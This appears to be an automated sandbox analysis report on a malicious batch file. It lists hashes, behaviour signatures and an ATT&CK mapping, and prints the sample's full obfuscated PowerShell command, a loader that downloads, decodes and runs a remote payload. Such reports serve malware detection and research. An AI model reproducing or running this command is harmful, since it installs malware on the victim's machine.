0546b035a94953d33a5c6d04bdc9521b49b2a98a51d38481b1f35667f5449326

General

Target

SKU_0001710-1-2024-SX-3762.bat
Size

5KB
MD5

fb6e5f4c35e2410abe92acca08412d29
SHA1

3e70e5fa943bf9ba4e2cadd21fc3b03a3ac899b8
SHA256

4f1b5d4bb6d0a7227948fb7ebb7765f3eb4b26288b52356453b74ea530111520
SHA512

3b7557f2429f2b420b59486a1bf40bf628d813257f0f4ac18d3141f3c0dc2661c71a18d16bffd24bb821993dbe8d58921befc72a6352282664526578d981068b
SSDEEP

96:huxRrcsSLAGiMygfOYiAx2MSauo6SrBJb4yr5BgDk:2rFSs3Hg5iAx2MSauoNVJ0yFBD

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	4576	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4576	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4576	powershell.exe
4576	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2312 wrote to memory of 4576	2312	cmd.exe	86
PID 2312 wrote to memory of 4576	2312	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SKU_0001710-1-2024-SX-3762.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden " <#Derindad Telefonkdes Kroforvalterens knudshoveds #>;$Overimpressed215='Steroider115';<#Meso Allittereredes Sidelngder Petroleumsovn Markedsfringsomkostning #>;$Omittancesforstrke116=$Beseemingness+$host.UI;function Foreslaa($Tvivlstilfldet){If ($Omittancesforstrke116) {$Photoelectronics++;}$Transformationsprocesser=$Selskabsrevisors+$Tvivlstilfldet.'Length'-$Photoelectronics; for( $Omittance=4;$Omittance -lt $Transformationsprocesser;$Omittance+=5){$Benzanthrone++;$Vandsskader+=$Tvivlstilfldet[$Omittance];$Styreformerne15='Uproblematiske';}$Vandsskader;}function Heraclitean($Shagrag){ & ($Liljekonvals) ($Shagrag);}$Noden=Foreslaa 'CuprMTorpoStigzSc tiUninlS orlCarbaSkul/Lige ';$Noden+=Foreslaa 'Intr5 od.Slip0Poli Omf( Ed WBairiPreinRummd In oRandwHumosKjru FemaN recT Sta Ste1 Cab0Jux .Ixo 0 For;Sind TalaWGorbiVaesnHem 6.tvk4Afst; v.d SattxSt.b6Kabo4p.lk; Pet Visur etev Udh:Khed1Agit3Brig1Else. Lai0Edul)Deli spirGSlage rocLandkDemooW ys/ .ri2Di k0 .en1,ijo0Rest0Auto1Enla0Id.o1S am BosFAfskiMarkrP omeF ihf teo,entxRobo/U es1Sand3Trav1 Cou.Indl0a em ';$Deglutitive=Foreslaa 'MotiuSne,SHjesE An.RBou - RedaOto G K tE chenN nsTOxgo ';$Spisekortet=Foreslaa 'Glach P.itSubstMod.pDogg:Tiec/ I.t/ConnaHererFesttu.viiansaeFa nr diriCi r.cl.nrDecaohypn/At ogSfol/TessSPersk R,liEksifSko f gale.uchrNor d ErnkTy ek Un eBor re itsSprj.NunnpObstcEngrx.jla ';$Allineate=Foreslaa 'Fila>F.ru ';$Liljekonvals=Foreslaa '.amuIBisaePo.kxCor ';$Brneormens='Sybaritternes';$Omittanceronsided='\Rgnes.Und';Heraclitean (Foreslaa 'Forb$Ko,fgShorLUnifOEpigBC moASaprlOmf :kautFPromOU gyZPoutIForfnSu,pe AddSLunesKins=Co.e$ Lu,eQuesNSvnlVDell:UnscanonvPRingpDisuDkakiA omaTEquiAThys+Komp$ oodoSn wmU piiNoonTAwarTMag ABearnzibeCFortEUndeRKil o O,enYppesSystiAftedFarieDiopdMukk ');Heraclitean (Foreslaa 'or a$SvorG L,vLCe.tOko,mbSolba HypLOut,:WaremWearA P arU,vojBenfU So,Nfor Sanop= Cos$ConuSH.ftPFan I IsosRochELat k chaOUncorOmk,tCherelierTNe.p.Es asOrieP StrLS vsiLocutAfgi( Min$AkkuaG nzl CollPhalI BdeN higeS ngA ArmtIliaeTric) Sta ');Heraclitean (Foreslaa 'Pane[EscoNMythEDrysTHelt.scotS nhETovbrPladvRdbrICentCAfb EVas p ynaOO.tbIBedsnParat VapM orkaForbnMarmapenngHoppeShirrHals].nal:Leve:,uttSHov elovmcDisbU ,arRErriIEschTU bryDelkp AntRTeosOTunntKulkO NolCUdhooRendlPe.s Prey=Data U,or[ uleN ukeToldT Gez.Af,aSKl,keConscFormuNe tRManuIGysetspiryPrevPc.arrunr,OStamtCe loPhasCStamoD sil NomtaqqaY F lpschiE Ufo]Fend:E.cy:Rstetw nwlOmk sBerr1For,2Siti ');$Spisekortet=$marjuns[0];$Resident=(Foreslaa 'Para$Carag,verl FebOForebSe mAbattLRveh: ordoGoosVW geE EverEupssSu cp Ad rprofiG,lenI nkGHyraE,kerLskn.SCandEs bcRDe h=Fljenu.trE ExeWNon.-B skoBarnbTrskjWoodeOptrcUtydT Pre UncsWresY SansStertH,tteArmomPost. ditnNitrET.avto pa. Sumw D mEZealb ealcSuboLUntwiPerie PrenIntetTh e ');Heraclitean ($Resident);Heraclitean (Foreslaa 'Hand$klagOPecuvDyste HalrSt,msMundps,ntr ReniV ounTriagLygteS ralSplasKo oe Gadr.kol. LobHHugheTribaRet d CoveStatrA skstil [ sj $CentDelimeNazagTendlHuz.uNordtChoniisott wh iHjlpvI,eneCaml]S an= pec$ SkaN G ooFrd dAusce PernBog ');$Nrme=Foreslaa 'Unec$embrO.dspvUnbeeHabirStorsEn.hpp.lyrBr.tiNgtenDemyg lateIn rlKondsTalee tatrKomm.GodsDTricoHolowdc,an.ymplPortoUnpaaDemod SueFGradiBroklTeleeOnch(,ust$tilgSTjrepUmedi BunsHastespeakS aaoComprTilktSku eprictFort,El r$M ltUSyntnFoendCi,ieForlrToeiaPassfHydrkInfelBo b)Ge a ';$Underafkl=$foziness;Heraclitean (Foreslaa 'Etio$,iveGDeioLCucko BruBPe,tAP.olLP,ri:Re,eFIndpLSinuO H moSilisdisqiBreiEKaloS Beg1Narr8.lag6 Acc=Bund(IndgtFon EFormsOlietUnde-Diskp .ulaPro TPa,fh ub A te$Vic,ufyrbNKaradUdfoEBesmR St,aTop.F Hy KForflWa,e) Re ');while (!$Floosies186) {Heraclitean (Foreslaa 'Hoft$IndlgArmllVurdoEr,tbAnmeaV.lul Tux:RedaCPercrMikkeImfcaDisatStrue RemsBjer=Opbe$VisttStarrWhauu M,me Man ') ;Heraclitean $Nrme;Heraclitean (Foreslaa 'S alsforkTPrehA iar d sT,orh- ChrsPro lAnd.EUdm,e BalPCha, Bol4Hvep ');Heraclitean (Foreslaa 'Eth $BiotGFodklDyreoFetibSupeAPjanLPo a:Sem fBlablBasiOdjakOmusoSTirsIMetaeOld SSk o1Chur8 Paa6Eng =Manc(Nonet FatEWh rSSa.et G a-Ov rPRevoaCi,atBoycHvolu Trif$Ref UBombnCamodros eAntiRS peaAltafAgu kTripLHydr)Rece ') ;Heraclitean (Foreslaa 'Cara$ isgHumiL ConomistBunnaAKrumlOpaq:PseugOverlVidnu La T ousCHearh Tek= Pe $Var gAkkoLC mpO GrabPas,aT,lll Gra:Ta.sRstetuDisdtS ciIF,leNE sueSty r SkuE SattDump+Indt+Efte% Mol$PapuMB.agA StaRGrupjH.lduObseNgru STi.f.FremCNatiODebiuSpirn HjrtReka ') ;$Spisekortet=$marjuns[$Glutch];}$khalil=314533;$Humdrumness=30402;Heraclitean (Foreslaa ' ogh$ lgegJernL blnoex,ebPreoaContlTarh:Sa dFTalli MegN MedGphoteO strInteWElitoAs erAttrkPavi Afm= arn SneaGv.gteSlottInds-c itCE,phoNonpN sekTStjeeIndunFisktFast Ret$Nonauunhen ildU grEU hyRhy.oAHedaFFirekIntrlRaad ');Heraclitean (Foreslaa 'Sky $k.ttghonklSalooMiscbF rma dmilT,re:,bjeBB.colMicriAn lcProtkStraeRecoyStoc Disc= Syr nedt[CospSAmp yUnhys FhotBefle kammDamb.TinfCTetroToyinFamivGst eFedtrAuritPneu]R.go:Ayou:DampF Milr omoEx pmIrbiBEfteaYndlsFieleUnmi6Haem4LugeSfngst ronrMassiCabbnPectgExen(Reta$ CreF TiliS otnforkgReumeH.pprBilawImmooHekhrFormk All)Svrt ');Heraclitean (Foreslaa 'Coun$PrecGScanLS.inoKultBlamiaDr,tlYlva:Le,lUGodbPBortH,ounhTrauoStorvEfteE Tid Visi=Du d Fejl[ oths P lyUnemS,necT GloERevimOu.e.Ma stPsameGlycx BevtIacc. VicEHalvNBehacBrylo.lyaDfr diFny n ArgGForb]Frds:ove.:AbscAFormSTrilc Sk.iProei Tru.ScapGBrneEMolatUnbrs hagTIllerAfluiExhon,akkGFun ( S b$ akkbBusmlTr.aI,tancpr bKMange RhoYLo,a)Bron ');Heraclitean (Foreslaa 'pleu$BilaGSpidlSha OUppebPsycaHom LBaha:SkalHKdkrYFlocPBywaETot R SarPPan.YDa rr AssAAssemStimiRedlDHipf=Met $VelvuBiogP MedH dmHLionOAa eVDemoE,ejl.Opris veruTwisbnonoSUt.hT vatR jasIB,adnGli.G,nar(Sel $minik unkhExena OmplCumbIja.bLFork,Inco$ U rhStatuSubsmFolkDKroprmaegUA,grm LatNTylveS,ols LysS ynt) ina ');Heraclitean $Hyperpyramid;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rxb5xnqa.2ry.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4576-2-0x00007FFEA9F83000-0x00007FFEA9F85000-memory.dmp

Filesize
8KB

Download
memory/4576-12-0x00000265FB950000-0x00000265FB972000-memory.dmp

Filesize
136KB

Download
memory/4576-13-0x00007FFEA9F80000-0x00007FFEAAA41000-memory.dmp

Filesize
10.8MB

Download
memory/4576-14-0x00007FFEA9F80000-0x00007FFEAAA41000-memory.dmp

Filesize
10.8MB

Download
memory/4576-17-0x00007FFEA9F80000-0x00007FFEAAA41000-memory.dmp

Filesize
10.8MB

Download
memory/4576-20-0x00007FFEA9F80000-0x00007FFEAAA41000-memory.dmp

Filesize
10.8MB

Download
memory/4576-21-0x00007FFEA9F80000-0x00007FFEAAA41000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing